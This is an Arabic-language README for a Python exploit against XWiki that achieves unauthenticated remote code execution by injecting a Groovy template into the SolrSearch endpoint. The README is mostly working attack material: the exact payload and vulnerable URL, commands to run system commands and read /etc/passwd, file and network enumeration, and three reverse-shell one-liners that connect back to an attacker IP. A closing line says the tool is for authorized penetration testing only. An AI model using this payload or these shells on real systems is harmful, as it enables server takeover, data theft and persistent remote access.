
تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في XWiki عبر ماكرو SolrSearch
أداة استغلال مكتوبة بـ Python لثغرة حقن القوالب من جانب الخادم (Server-Side Template Injection - SSTI) في XWiki عبر حقن قالب Groovy في نقطة نهاية SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
سيمنحك هذا قشرة شبه تفاعلية حيث يمكنك تشغيل الأوامر:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: عنوان الهدف (مطلوب)-c, --command CMD: تنفيذ أمر واحد--test: اختبار ما إذا كان الهدف عرضة للثغرة--no-verify-ssl: تعطيل التحقق من شهادة SSL--debug: تفعيل مخرجات التصحيحجمع المعلومات:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
البحث عن ملفات مهمة:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
معلومات الشبكة:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
إنشاء شل عكسي (Reverse Shell):
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
تستخدم الأداة بنية الحمولة التالية لثغرة SSTI:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
يتم ترميز الحمولة باستخدام URL-encoding وإرسالها إلى نقطة النهاية المعرضة للثغرة:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
يقوم الخادم بمعالجة قالب Groovy وتنفيذ الأمر
يتم التقاط المخرجات من استجابة خلاصة RSS بالصيغة:
search on [}}OUTPUT]
تقوم الأداة بتحليل استجابة HTML لاستخراج مخرجات الأمر
xwiki (uid=997)/usr/lib/xwiki-jettyهذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدمها فقط على الأنظمة التي لديك إذن باختبارها.